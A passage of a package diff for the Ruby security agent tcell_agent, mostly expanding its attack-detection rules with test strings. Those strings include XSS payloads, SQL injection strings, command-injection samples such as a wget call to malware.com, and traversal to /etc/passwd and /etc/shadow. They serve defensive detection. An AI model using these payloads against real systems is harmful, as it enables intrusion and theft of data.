tcell_agent 0.2.16 → 0.2.17
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/lib/tcell_agent/agent/policy_manager.rb +1 -0
- data/lib/tcell_agent/agent/policy_types.rb +5 -2
- data/lib/tcell_agent/appsensor/rules/appsensor_rule_manager.rb +1 -1
- data/lib/tcell_agent/appsensor/rules/appsensor_rule_set.rb +1 -1
- data/lib/tcell_agent/appsensor/rules/baserules.json +117 -36
- data/lib/tcell_agent/configuration.rb +4 -0
- data/lib/tcell_agent/policies/appsensor/injection_sensor.rb +0 -1
- data/lib/tcell_agent/policies/appsensor/sensor.rb +0 -1
- data/lib/tcell_agent/policies/appsensor_policy.rb +18 -7
- data/lib/tcell_agent/policies/patches_policy.rb +52 -0
- data/lib/tcell_agent/rails/middleware/headers_middleware.rb +11 -0
- data/lib/tcell_agent/sensor_events/appsensor_event.rb +0 -5
- data/lib/tcell_agent/version.rb +1 -1
- data/spec/lib/tcell_agent/appsensor/rules/appsensor_rule_set_spec.rb +7 -0
- data/spec/lib/tcell_agent/policies/appsensor_policy_spec.rb +76 -55
- data/spec/lib/tcell_agent/policies/patches_policy_spec.rb +143 -0
- data/spec/lib/tcell_agent/rails/middleware/appsensor_middleware_spec.rb +8 -15
- metadata +5 -2
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA1:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: b107a46d2c8ac57564b91097fe2c81e412469e7a
|
4
|
+
data.tar.gz: 60487a47c5ad5c02db8188748f9711a6d8a07476
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: 52f240c551aa5f4013301031d21570c66ec595eb6e1ac9d454b5b5ede7d649e8924a26acf8fa302c029fd81316472f5771477c2a58afa690cc23617890a39652
|
7
|
+
data.tar.gz: 34e537a766d75d51de5182a2230f66bfbbfbbd67ed34e72cd0ddb652a3bc5a60a8f7f9c86654bf02557450e202819897c66fa4f8874ec46c01dce8fb0a231700
|
@@ -16,6 +16,7 @@ require "tcell_agent/policies/http_redirect_policy"
|
|
16
16
|
require "tcell_agent/policies/secure_headers_policy"
|
17
17
|
require "tcell_agent/policies/honeytokens_policy"
|
18
18
|
require "tcell_agent/policies/appsensor_policy"
|
19
|
+
require "tcell_agent/policies/patches_policy"
|
19
20
|
|
20
21
|
require "tcell_agent/sensor_events/server_agent"
|
21
22
|
|
@@ -12,6 +12,7 @@ require "tcell_agent/policies/honeytokens_policy"
|
|
12
12
|
require "tcell_agent/policies/appsensor_policy"
|
13
13
|
require "tcell_agent/policies/login_fraud_policy"
|
14
14
|
require "tcell_agent/policies/dataloss_policy"
|
15
|
+
require "tcell_agent/policies/patches_policy"
|
15
16
|
|
16
17
|
module TCellAgent
|
17
18
|
class PolicyTypes
|
@@ -24,6 +25,7 @@ module TCellAgent
|
|
24
25
|
HoneyTokens = "exp-honeytokens"
|
25
26
|
LoginFraud = "login"
|
26
27
|
DataLoss = "dlp"
|
28
|
+
Patches = "patches"
|
27
29
|
|
28
30
|
ClassMap = {
|
29
31
|
CSP=>TCellAgent::Policies::ContentSecurityPolicy,
|
@@ -34,8 +36,9 @@ module TCellAgent
|
|
34
36
|
AppSensor=>TCellAgent::Policies::AppSensorPolicy,
|
35
37
|
HoneyTokens=>TCellAgent::Policies::HoneytokensPolicy,
|
36
38
|
LoginFraud=>TCellAgent::Policies::LoginFraudPolicy,
|
37
|
-
DataLoss=>TCellAgent::Policies::DataLossPolicy
|
39
|
+
DataLoss=>TCellAgent::Policies::DataLossPolicy,
|
40
|
+
Patches=>TCellAgent::Policies::PatchesPolicy
|
38
41
|
}
|
39
42
|
|
40
43
|
end
|
41
|
-
end
|
44
|
+
end
|
@@ -21,7 +21,7 @@ module TCellAgent
|
|
21
21
|
@rule_info = {}
|
22
22
|
|
23
23
|
if File.file?(filename)
|
24
|
-
rules_from_file =
|
24
|
+
rules_from_file = JSON.parse(File.open(filename).read)
|
25
25
|
rule_types = rules_from_file.fetch("sensors", {})
|
26
26
|
|
27
27
|
rule_types.each do |sensor_name, sensor_config|
|
@@ -50,7 +50,7 @@ module TCellAgent
|
|
50
50
|
|
51
51
|
return if pattern_id == nil or pattern == nil
|
52
52
|
|
53
|
-
pattern_regex = Regexp.new(pattern)
|
53
|
+
pattern_regex = Regexp.new(pattern, Regexp::MULTILINE | Regexp::IGNORECASE)
|
54
54
|
enabled = rule_dict.fetch("enabled", true)
|
55
55
|
|
56
56
|
rule_pattern = AppSensorRulePattern.new(pattern_id, pattern_regex, enabled)
|
@@ -1,5 +1,5 @@
|
|
1
1
|
{
|
2
|
-
"version":"
|
2
|
+
"version":"20160516",
|
3
3
|
"sensors":{
|
4
4
|
"xss":{
|
5
5
|
"patterns":[
|
@@ -7,43 +7,73 @@
|
|
7
7
|
"title":"Basic Injection",
|
8
8
|
"sophistication":1,
|
9
9
|
"common": "(?:<(script|iframe|embed|frame|frameset|object|img|applet|body|html|style|layer|link|ilayer|meta|bgsound))",
|
10
|
+
"tests": {
|
11
|
+
"shouldFind":["\n\n<scRipT>document.write(1)</script>","<body onload=\"abc\">","<script>alert(123)</script>","<script>alert(\"hellox world\");</script>","9<script/src=http/attacker.com>"],
|
12
|
+
"shouldIgnore":["<h1>hi</h1>","Bob","Script"]
|
13
|
+
},
|
10
14
|
"id": "1"
|
11
15
|
},
|
12
16
|
{
|
13
17
|
"title":"Alert or Event XSS",
|
14
18
|
"sophistication":2,
|
15
19
|
"common": "(?:(alert|on\\w+|function\\s+\\w+)\\s*\\(\\s*(['+\\d\\w](,?\\s*['+\\d\\w]*)*)*\\s*\\))",
|
20
|
+
"tests":{
|
21
|
+
"shouldFind":["<input onmouseover='alert(1)'>","<input/onmouseover='alert(1)'>"],
|
22
|
+
"shouldIgnore":["<h1>hi</h1>","Bob","Sammy"]
|
23
|
+
},
|
16
24
|
"id": "2"
|
17
25
|
},
|
18
|
-
{
|
19
|
-
"title":"Tag Breaks",
|
20
|
-
"sophistication":2,
|
21
|
-
"common": "(?:\\\"[^\\\"]*[^-]?>)|(?:[^\\w\\s]\\s*\\/>)|(?:>\\\")",
|
22
|
-
"id": "3"
|
23
|
-
},
|
24
26
|
{
|
25
27
|
"title":"Attribute Breaks",
|
26
28
|
"sophistication":3,
|
27
|
-
|
28
|
-
|
29
|
+
"common": "(?:\\\"+.*[<=]\\s*\\\"[^\\\"]+\\\")|(?:\\\"\\s*\\w+\\s*=)|(?:>\\w=\\/)|(?:#.+\\)[\\\"\\s]*>)|(?:\\\"\\s*(?:src|style|on\\w+)\\s*=\\s*\\\")|(?:[^\\\"]?\\\"[,;\\s]+\\w*[\\[\\(])(?:^>[\\w\\s]*<\\/?\\w{2,}>)",
|
30
|
+
"tests":{
|
31
|
+
"shouldFind":["<input src=\"b\" onmouseover=\"alert(1)\" test=\"abc\">"],
|
32
|
+
"shouldIgnore":["<h1>hi</h1>","<i class=\"test\">test</i>","Bob","Sammy","<i>","onmouseover","\"alert(1)\""]
|
33
|
+
},
|
34
|
+
"id": "4"
|
29
35
|
},
|
30
36
|
{
|
31
37
|
"title":"Basic Obfuscation",
|
32
38
|
"sophistication":3,
|
33
39
|
"common": "(?:[\\\".]script\\s*\\()|(?:\\$\\$?\\s*\\(\\s*[\\w\\\"])|(?:\\/[\\w\\s]+\\/\\.)|(?:=\\s*\\/\\w+\\/\\s*\\.)|(?:(?:this|window|top|parent|frames|self|content)\\[\\s*[(,\\\"]*\\s*[\\w\\$])|(?:,\\s*new\\s+\\w+\\s*[,;)])",
|
34
|
-
|
40
|
+
"tests": {
|
41
|
+
"shouldFind":[",YAHOO.util.Get.script(\"http://ha.ckers.org/xss.js\")"],
|
42
|
+
"shouldIgnore":["<h1>hi</h1>","<i class=\"test\">test</i>","Bob","Sammy","<i>","onmouseover","\"alert(1)\""]
|
43
|
+
},
|
44
|
+
"id": "5"
|
35
45
|
},
|
36
46
|
{
|
37
47
|
"title":"Common Concatenation",
|
38
48
|
"sophistication":3,
|
39
49
|
"common": "(?:=\\s*\\w+\\s*\\+\\s*\\\")|(?:\\+=\\s*\\(\\s\\\")|(?:!+\\s*[\\d.,]+\\w?\\d*\\s*\\?)|(?:=\\s*\\[s*\\])|(?:\\\"\\s*\\+\\s*\\\")|(?:[^\\s]\\[\\s*\\d+\\s*\\]\\s*[;+])|(?:\\\"\\s*[&|]+\\s*\\\")|(?:\\/\\s*\\?\\s*\\\")|(?:\\/\\s*\\)\\s*\\[)|(?:\\d\\?.+:\\d)|(?:\\]\\s*\\[\\W*\\w)|(?:[^\\s]\\s*=\\s*\\/)",
|
40
|
-
|
50
|
+
"tests": {
|
51
|
+
"shouldFind":["= werewr + \""],
|
52
|
+
"shouldIgnore":["<h1>hi</h1>","<i class=\"test\">test</i>","Bob","Sammy","<i>","onmouseover","\"alert(1)\""]
|
53
|
+
},
|
54
|
+
"id": "6"
|
41
55
|
},
|
42
56
|
{
|
43
57
|
"title":"IFrame Tag Injection",
|
44
58
|
"sophistication":1,
|
45
59
|
"common": "<iframe.*",
|
60
|
+
"tests": {
|
61
|
+
"shouldFind":["Sam\n<h3><iframe/src=\\\\malware.xcc/>"],
|
62
|
+
"shouldIgnore":["<h1>hi</h1>","Bob","Script"]
|
63
|
+
},
|
46
64
|
"id": "7"
|
65
|
+
},
|
66
|
+
{
|
67
|
+
"title":"JavaScript URL",
|
68
|
+
"sophistication":1,
|
69
|
+
"common": "\\b(src|href|lowsrc|url|content)\\b\\W*?\\bjavascript:",
|
70
|
+
"tests": {
|
71
|
+
"shouldFind":["\" href=\"javascript:alert(1)\"","' url='javascript:alert(1)'","<input type=image src=javascript:","<meta http-equiv=\"refresh\" content=\"javascript:..."],
|
72
|
+
"shouldIgnore":["<h1>hi</h1>","Bob","Script"]
|
73
|
+
},
|
74
|
+
"id": "8"
|
75
|
+
|
76
|
+
|
47
77
|
}
|
48
78
|
]
|
49
79
|
},
|
@@ -55,13 +85,20 @@
|
|
55
85
|
"sophistication":2,
|
56
86
|
"id":"1",
|
57
87
|
"common":"(?:[\\;\\|\\`]\\W*?\\bcc|\\b(wget|curl))\\b|\\/cc(?:[\\'\\\"\\|\\;\\`\\-\\s]|$)",
|
58
|
-
"
|
88
|
+
"tests": {
|
89
|
+
"shouldFind":["|wget https://malware.com"],
|
90
|
+
"shouldIgnore":["aB--D_C=","union soldier", "a", "select", "James O'Connor", "Like this or that", "divide and conquer"]
|
91
|
+
}
|
59
92
|
},
|
60
93
|
{
|
61
94
|
"title":"Common Command Attempts",
|
62
95
|
"sophistication":1,
|
63
96
|
"id":"2",
|
64
|
-
"common":"(?:\\b(?:(?:n(?:et(?:\\b\\W+?\\blocalgroup|\\.exe)|(?:map|c)\\.exe)|t(?:racer(?:oute|t)|elnet\\.exe|clsh8?|ftp)|(?:w(?:guest|sh)|rcmd|ftp)\\.exe|echo\\b\\W*?\\by+)\\b|c(?:md(?:(?:\\.exe|32)\\b|\\b\\W
|
97
|
+
"common":"(?:\\b(?:(?:n(?:et(?:\\b\\W+?\\blocalgroup|\\.exe)|(?:map|c)\\.exe)|t(?:racer(?:oute|t)|elnet\\.exe|clsh8?|ftp)|(?:w(?:guest|sh)|rcmd|ftp)\\.exe|echo\\b\\W*?\\by+)\\b|c(?:md(?:(?:\\.exe|32)\\b|\\b\\W*?\\/c)|d(?:\\b\\W*?[\\\\/]|\\W*?\\.\\.)|hmod.{0,40}?\\+.{0,3}x))|[\\;\\|\\`]\\W*?\\b(?:(?:c(?:h(?:grp|mod|own|sh)|md|pp)|p(?:asswd|ython|erl|ing|s)|n(?:asm|map|c)|f(?:inger|tp)|(?:kil|mai)l|(?:xte)?rm|ls(?:of)?|telnet|uname|echo|id)\\b|g(?:\\+\\+|cc\b)))",
|
98
|
+
"tests": {
|
99
|
+
"shouldFind":["test|echo hi","abc;nc","`ls /etc/passwd`"],
|
100
|
+
"shouldIgnore":["aB--D_C=","union soldier", "a", "select", "James O'Connor", "Like this or that", "divide and conquer","david;bob"]
|
101
|
+
}
|
65
102
|
}
|
66
103
|
]
|
67
104
|
},
|
@@ -71,7 +108,12 @@
|
|
71
108
|
{
|
72
109
|
"title":"Common Encoding Obfuscations",
|
73
110
|
"sophistication":3,
|
74
|
-
"common": "(?:(?:\\d[\\\"'`\u00b4\u2019\u2018]\\s+[\\\"'`\u00b4\u2019\u2018]\\s+\\d)|(?:^admin\\s*?[\\\"'`\u00b4\u2019\u2018]|(\\/\\*)+[\\\"'`\u00b4\u2019\u2018]+\\s?(?:--|#|\\/\\*|{)?)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?\\b(x?or|div|like|between|and)\\b\\s*?[+<>=(),-]\\s*?[\\d\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[^\\w\\s]?=\\s*?[\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\W*?[+=]+\\W*?[\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[!=|][\\d\\s!=+-]+.*?[\\\"'`\u00b4\u2019\u2018(].*?$)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[!=|][\\d\\s!=]+.*?\\d+$)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?like\\W+[\\w\\\"'`\u00b4\u2019\u2018(])|(?:\\sis\\s*?0\\W)|(?:where\\s[\\s\\w\\.,-]+\\s=)|(?:[\\\"'`\u00b4\u2019\u2018][<>~]+[\\\"'`\u00b4\u2019\u2018]))",
|
111
|
+
"common": "(?:(?:\\d[\\\"'`\u00b4\u2019\u2018]\\s+[\\\"'`\u00b4\u2019\u2018]\\s+\\d)|(?:^admin\\s*?[\\\"'`\u00b4\u2019\u2018]|(\\/\\*)+[\\\"'`\u00b4\u2019\u2018]+\\s?(?:--|#|\\/\\*|{)?)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?\\b(x?or|div|like|between|and)\\b\\s*?[+<>=(),-]\\s*?[\\d\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[^\\w\\s]?=\\s*?[\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\W*?[+=]+\\W*?[\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[!=|][\\d\\s!=+-]+.*?[\\\"'`\u00b4\u2019\u2018(].*?$)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[!=|][\\d\\s!=]+.*?\\d+$)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?like\\W+[\\w\\\"'`\u00b4\u2019\u2018(])|(?:\\sis\\s*?0\\W)|(?:where\\s[\\s\\w\\.,-]+\\s=)|(?:[\\\"'`\u00b4\u2019\u2018][<>~]+[\\\"'`\u00b4\u2019\u2018]))","common": "(?:(?:\\d[\\\"'`\u00b4\u2019\u2018]\\s+[\\\"'`\u00b4\u2019\u2018]\\s+\\d)|(?:^admin\\s*?[\\\"'`\u00b4\u2019\u2018]|(\\/\\*)+[\\\"'`\u00b4\u2019\u2018]+\\s?(?:--|#|\\/\\*|{)?)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?\\b(x?or|div|like|between|and)\\b\\s*?[+<>=(),-]\\s*?[\\d\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[^\\w\\s]?=\\s*?[\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\W*?[+=]+\\W*?[\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[!=|][\\d\\s!=+-]+.*?[\\\"'`\u00b4\u2019\u2018(].*?$)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[!=|][\\d\\s!=]+.*?\\d+$)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?like\\W+[\\w\\\"'`\u00b4\u2019\u2018(])|(?:\\sis\\s*?0\\W)|(?:where\\s[\\s\\w\\.,-]+\\s=)|(?:[\\\"'`\u00b4\u2019\u2018][<>~]+[\\\"'`\u00b4\u2019\u2018]))",
|
112
|
+
"java": "(?:(?:\\d[\\\"'`\u00b4\u2019\u2018]\\s+[\\\"'`\u00b4\u2019\u2018]\\s+\\d)|(?:^admin\\s*?[\\\"'`\u00b4\u2019\u2018]|(\\/\\*)+[\\\"'`\u00b4\u2019\u2018]+\\s?(?:--|#|\\/\\*|\\{)?)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?\\b(x?or|div|like|between|and)\\b\\s*?[+<>=(),-]\\s*?[\\d\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[^\\w\\s]?=\\s*?[\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\W*?[+=]+\\W*?[\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[!=|][\\d\\s!=+-]+.*?[\\\"'`\u00b4\u2019\u2018(].*?$)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[!=|][\\d\\s!=]+.*?\\d+$)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?like\\W+[\\w\\\"'`\u00b4\u2019\u2018(])|(?:\\sis\\s*?0\\W)|(?:where\\s[\\s\\w\\.,-]+\\s=)|(?:[\\\"'`\u00b4\u2019\u2018][<>~]+[\\\"'`\u00b4\u2019\u2018]))","common": "(?:(?:\\d[\\\"'`\u00b4\u2019\u2018]\\s+[\\\"'`\u00b4\u2019\u2018]\\s+\\d)|(?:^admin\\s*?[\\\"'`\u00b4\u2019\u2018]|(\\/\\*)+[\\\"'`\u00b4\u2019\u2018]+\\s?(?:--|#|\\/\\*|\\{)?)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?\\b(x?or|div|like|between|and)\\b\\s*?[+<>=(),-]\\s*?[\\d\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[^\\w\\s]?=\\s*?[\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\W*?[+=]+\\W*?[\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[!=|][\\d\\s!=+-]+.*?[\\\"'`\u00b4\u2019\u2018(].*?$)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[!=|][\\d\\s!=]+.*?\\d+$)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?like\\W+[\\w\\\"'`\u00b4\u2019\u2018(])|(?:\\sis\\s*?0\\W)|(?:where\\s[\\s\\w\\.,-]+\\s=)|(?:[\\\"'`\u00b4\u2019\u2018][<>~]+[\\\"'`\u00b4\u2019\u2018]))",
|
113
|
+
"tests": {
|
114
|
+
"shouldFind":["') or ('1'='1--","') or ('1'='1--","1 OR '1'!=0","aa' LIKE md5(1) or '1"],
|
115
|
+
"shouldIgnore":["aB--D_C=","union soldier", "select", "James O'Connor", "Like this or that", "divide and conquer"]
|
116
|
+
},
|
75
117
|
"id": "1"
|
76
118
|
},
|
77
119
|
{
|
@@ -81,50 +123,80 @@
|
|
81
123
|
"id": "2"
|
82
124
|
},
|
83
125
|
{
|
84
|
-
"title":"
|
126
|
+
"title":"Conditional Attempts",
|
127
|
+
"sophistication":3,
|
128
|
+
"common": "(?:[\\s()]case\\s*\\()|(?:\\)\\s*like\\s*\\()|(?:having\\s*[^\\s]+\\s*[^\\w\\s])|(?:if\\s?\\([\\d\\w]\\s*[=<>~])",
|
129
|
+
"tests": {
|
130
|
+
"shouldFind":["' or id= 1 having 1 #1 !"],
|
131
|
+
"shouldIgnore":["aB--D_C=","union soldier", "select", "James O'Connor", "Like this or that", "divide and conquer"]
|
132
|
+
},
|
133
|
+
"id": "7"
|
134
|
+
},
|
135
|
+
{
|
136
|
+
"title":"Union Attempts",
|
137
|
+
"sophistication":3,
|
138
|
+
"java": "(?:union\\s*(?:all|distinct|[(!@]*)\\s*[(\\[]*\\s*select)|(?:\\w+\\s+like\\s+\\\")|(?:like\\s*\"\\%)|(?:\"\\s*like\\W*[\"\\d])|(?:\"\\s*(?:n?and|x?or|not |\\|\\||\\&\\&)\\s+[\\s\\w]+=\\s*\\w+\\s*having)|(?:\"\\s*\\*\\s*\\w+\\W+\")|(?:\"\\s*[^?\\w\\s=.,;)(]+\\s*[(@\"]*\\s*\\w+\\W+\\w)|(?:select\\s*[\\[\\]()\\s\\w\\.,\"-]+from)|(?:find_in_set\\s*\\()",
|
139
|
+
"ruby": "(?:union\\s*(?:all|distinct|[(!@]*)\\s*[(\\[]*\\s*select)|(?:\\w+\\s+like\\s+\\\")|(?:like\\s*\"\\%)|(?:\"\\s*like\\W*[\"\\d])|(?:\"\\s*(?:n?and|x?or|not |\\|\\||\\&\\&)\\s+[\\s\\w]+=\\s*\\w+\\s*having)|(?:\"\\s*\\*\\s*\\w+\\W+\")|(?:\"\\s*[^?\\w\\s=.,;)(]+\\s*[(@\"]*\\s*\\w+\\W+\\w)|(?:select\\s*[\\[\\]()\\s\\w\\.,\"-]+from)|(?:find_in_set\\s*\\()",
|
140
|
+
"common": "(?:union\\s*(?:all|distinct|[(!@]*)\\s*[([]*\\s*select)|(?:\\w+\\s+like\\s+\\\")|(?:like\\s*\"\\%)|(?:\"\\s*like\\W*[\"\\d])|(?:\"\\s*(?:n?and|x?or|not |\\|\\||\\&\\&)\\s+[\\s\\w]+=\\s*\\w+\\s*having)|(?:\"\\s*\\*\\s*\\w+\\W+\")|(?:\"\\s*[^?\\w\\s=.,;)(]+\\s*[(@\"]*\\s*\\w+\\W+\\w)|(?:select\\s*[\\[\\]()\\s\\w\\.,\"-]+from)|(?:find_in_set\\s*\\()",
|
141
|
+
"tests": {
|
142
|
+
"shouldFind":["‘union select all 1,2,x,x,x,x —-", "‘union select 1,2,3,x,x,x,x,@@version,x–-","‘union select UTL_INADDR.get_host_address,null,null,null,null from dual–-"],
|
143
|
+
"shouldIgnore":["aB--D_C=","union soldier", "select", "James O'Connor", "Like this or that", "divide and conquer"]
|
144
|
+
},
|
145
|
+
"id": "8"
|
146
|
+
},
|
147
|
+
{
|
148
|
+
"title":"SQL Comment Sequence",
|
85
149
|
"sophistication":1,
|
86
150
|
"common": "([';]--|--[\\s\\r\\n\\v\\f]|(?:--[^-]*?-)|([^\\-&])#.*?[\\s\\r\\n\\v\\f]|;?\\\\x00)",
|
151
|
+
"tests": {
|
152
|
+
"shouldFind":["'--","1=1;\\x00"],
|
153
|
+
"shouldIgnore":["aB--D_C=","union soldier", "select", "James O'Connor", "Like this or that", "divide and conquer"]
|
154
|
+
},
|
87
155
|
"id": "3"
|
88
156
|
},
|
89
157
|
{
|
90
|
-
"title":"Extraction Attempts
|
158
|
+
"title":"Extraction Attempts",
|
91
159
|
"sophistication":1,
|
92
160
|
"common": "(?:(?:@.+=\\s*?\\(\\s*?select)|(?:\\d+\\s*?(x?or|div|like|between|and)\\s*?\\d+\\s*?[\\-+])|(?:\\/\\w+;?\\s+(?:having|and|x?or|div|like|between|and|select)\\W)|(?:\\d\\s+group\\s+by.+\\()|(?:(?:;|#|--)\\s*?(?:drop|alter))|(?:(?:;|#|--)\\s*?(?:update|insert)\\s*?\\w{2,})|(?:[^\\w]SET\\s*?@\\w+)|(?:(?:n?and|x?x?or|div|like|between|and|not |\\|\\||\\&\\&)[\\s(]+\\w+[\\s)]*?[!=+]+[\\s\\d]*?[\\\"'`\u00b4\u2019\u2018=()]))",
|
161
|
+
"tests": {
|
162
|
+
"shouldFind":["';Drop table users"],
|
163
|
+
"shouldIgnore":["aB--D_C=","union soldier", "select", "James O'Connor", "Like this or that", "divide and conquer", "Sam; James"]
|
164
|
+
},
|
93
165
|
"id": "4"
|
94
|
-
},
|
95
|
-
{
|
96
|
-
"title":"Extraction Attempts 2",
|
97
|
-
"sophistication":2,
|
98
|
-
"pattern": "(?:(?:in\\s*?\\(+\\s*?select)|(?:(?:n?and|x?x?or|div|like|between|and|not |\\|\\||\\&\\&)\\s+[\\s\\w+]+(?:regexp\\s*?\\(|sounds\\s+like\\s*?[\\\"'`\u00b4\u2019\u2018]|[=\\d]+x))|([\\\"'`\u00b4\u2019\u2018]\\s*?\\d\\s*?(?:--|#))|(?:[\\\"'`\u00b4\u2019\u2018][\\%&<>^=]+\\d\\s*?(=|x?or|div|like|between|and))|(?:[\\\"'`\u00b4\u2019\u2018]\\W+[\\w+-]+\\s*?=\\s*?\\d\\W+[\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?is\\s*?\\d.+[\\\"'`\u00b4\u2019\u2018]?\\w)|(?:[\\\"'`\u00b4\u2019\u2018]\\|?[\\w-]{3,}[^\\w\\s.,]+[\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?is\\s*?[\\d.]+\\s*?\\W.*?[\\\"'`\u00b4\u2019\u2018]))",
|
99
|
-
"id": "5"
|
100
|
-
},
|
101
|
-
{
|
102
|
-
"title":"Extraction Attempts 3",
|
103
|
-
"sophistication":3,
|
104
|
-
"pattern": "(?:(?:\\d[\\\"'`\u00b4\u2019\u2018]\\s+[\\\"'`\u00b4\u2019\u2018]\\s+\\d)|(?:^admin\\s*?[\\\"'`\u00b4\u2019\u2018]|(\\/\\*)+[\\\"'`\u00b4\u2019\u2018]+\\s?(?:--|#|\\/\\*|{)?)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?\\b(x?or|div|like|between|and)\\b\\s*?[+<>=(),-]\\s*?[\\d\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[^\\w\\s]?=\\s*?[\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\W*?[+=]+\\W*?[\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[!=|][\\d\\s!=+-]+.*?[\\\"'`\u00b4\u2019\u2018(].*?$)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[!=|][\\d\\s!=]+.*?\\d+$)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?like\\W+[\\w\\\"'`\u00b4\u2019\u2018(])|(?:\\sis\\s*?0\\W)|(?:where\\s[\\s\\w\\.,-]+\\s=)|(?:[\\\"'`\u00b4\u2019\u2018][<>~]+[\\\"'`\u00b4\u2019\u2018]))",
|
105
|
-
"id": "6"
|
106
166
|
}
|
107
167
|
]
|
108
168
|
},
|
109
169
|
"fpt":{
|
110
170
|
"patterns":[
|
111
171
|
{
|
112
|
-
"title":"
|
113
|
-
"sophistication":
|
172
|
+
"title":"General Traversal",
|
173
|
+
"sophistication":2,
|
114
174
|
"common": "(?:(?:\\/|\\\\)?\\.+(\\/|\\\\)(?:\\.+)?)|(?:\\w+\\.exe\\??\\s)|(?:;\\s*\\w+\\s*\\/[\\w*-]+\\/)|(?:\\d\\.\\dx\\|)|(?:%(?:c0\\.|af\\.|5c\\.))|(?:\\/(?:%2e){2})",
|
115
175
|
"ruby": "(?:(?:\\/|\\\\)?\\.+(\\/|\\\\)(?:\\.*))|(?:\\w+\\.exe\\??\\s)|(?:;\\s*\\w+\\s*\\/[\\w*-]+\\/)|(?:\\d\\.\\dx\\|)|(?:%(?:c0\\.|af\\.|5c\\.))|(?:\\/(?:%2e){2})",
|
176
|
+
"tests":{
|
177
|
+
"shouldFind":["/.../.../.../.../.../","\\0../../../../../../etc/passwd","../../../../../../etc/shadow"],
|
178
|
+
"shouldIgnore":["Julie","The quick'o brown... fox.. was. /there"]
|
179
|
+
},
|
116
180
|
"id": "1"
|
117
181
|
},
|
118
182
|
{
|
119
|
-
"title":"
|
120
|
-
"sophistication":
|
183
|
+
"title":"Common System Probing",
|
184
|
+
"sophistication":4,
|
121
185
|
"common": "(?:%c0%ae\\/)|(?:(?:\\/|\\\\)(home|conf|usr|etc|proc|opt|s?bin|local|dev|tmp|kern|[br]oot|sys|system|windows|winnt|program|%[a-z_-]{3,}%)(?:\\/|\\\\))|(?:(?:\\/|\\\\)inetpub|localstart\\.asp|boot\\.ini)",
|
186
|
+
"tests":{
|
187
|
+
"shouldFind":["/./././././././././././boot.ini","/home/apache/conf/httpd.conf"],
|
188
|
+
"shouldIgnore":["Julie","The quick'o brown... fox.. was. /there"]
|
189
|
+
},
|
122
190
|
"id": "2"
|
123
191
|
},
|
124
192
|
{
|
125
|
-
"title":"Attempt for /etc/passwd",
|
193
|
+
"title":"Attempt for /etc/passwd, shadow",
|
126
194
|
"sophistication":1,
|
127
|
-
"common": "(?:etc\\/\\W*passwd)",
|
195
|
+
"common": "(?:etc\\/\\W*passwd)|(?:etc\\/\\W*shadow)",
|
196
|
+
"tests":{
|
197
|
+
"shouldFind":["/etc/passwd"],
|
198
|
+
"shouldIgnore":["Julie","The quick'o brown... fox.. was. /there"]
|
199
|
+
},
|
128
200
|
"id": "3"
|
129
201
|
}
|
130
202
|
]
|
@@ -135,7 +207,12 @@
|
|
135
207
|
"title":"Any Null Byte",
|
136
208
|
"sophistication":1,
|
137
209
|
"id":"1",
|
138
|
-
"common":"\\0"
|
210
|
+
"common":"\\0",
|
211
|
+
"java":"\u0000",
|
212
|
+
"tests":{
|
213
|
+
"shouldFind":["Duh\u0000","\u0000","\n\rOh\u0000No"],
|
214
|
+
